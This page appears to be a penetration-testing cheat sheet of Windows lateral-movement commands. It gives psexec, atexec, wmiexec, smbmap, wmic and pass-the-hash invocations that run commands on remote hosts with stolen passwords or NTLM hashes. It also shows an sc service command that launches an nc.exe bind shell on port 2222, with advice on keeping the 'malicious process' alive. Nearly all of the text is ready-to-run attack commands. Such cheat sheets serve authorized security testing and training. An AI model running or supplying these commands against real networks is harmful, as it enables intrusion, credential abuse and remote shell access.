With username/password
With psexec (Prerequisites: ADMIN$ share is available, the user is part of the local administrator group on the target)
- On Linux
psexec.py Domain.local/User@$target cmd.exe - On Windows
- If you have username and password
./PsExec64.exe -i \\FILES04 -u corp\jen -p Nexus123! cmd - If you have a TGS stored in klist
./PsExec64.exe \\FILES04 cmd
- If you have username and password
With psexec via Metasploit
use exploit/windows/smb/psexec
With atexec (Impacket)
atexec.py dom/user:pass@$target cmd.exe
With wmiexec
wmiexec.py domain.local/$target:$password@$ip
With Smbmap
smbmap -u ariley -p 'pass' -d WORKGROUP -x 'whoami' -H $target
With Wmic (To run a command on multiple systems, replace /node:… with /node:@hosts.txt and add the targets into this files.)
wmic /node:$target /user:$user /password:$password process call create $your_command
Via the SC Service Controller (This connects to the $target via SMB and creates then a service and starts them. Caution: The service will be killed after 30 seconds because it probably doesn’t conform to the service standard and calls the service API. Go around via calling cmd.exe /k real.exe and let it start the malicious process.)
net use \\$target $password /u:$domain\$user
sc \\$target create $servicename binpath= "cmd.exe /k c:\temp\nc.exe -l -p 2222 -e cmd.exe"
sc \\$target start $servicename
With username / hash
With pth-winexe: (Note: The user’s format is user:lm:ntml — but pth-winexe actually needs only the NTML hash here, but won’t work if no LM hash is given. Because sometimes no LM hash is available, it is ok to simply use a random LM hash like here.)
pth-winexe -U $user%aad3b435b51404eeaad3b435b51404ee:$NTML //$target cmd
With wmiexec (Requirement: The target has the admin share ADMIN$ available and on the local system, the user needs local administrator privileges.)
impacket-wmiexec -hashes :aad3b435b51404eeaad3b435b51404ee user@$target
Leave a Reply
You must be logged in to post a comment.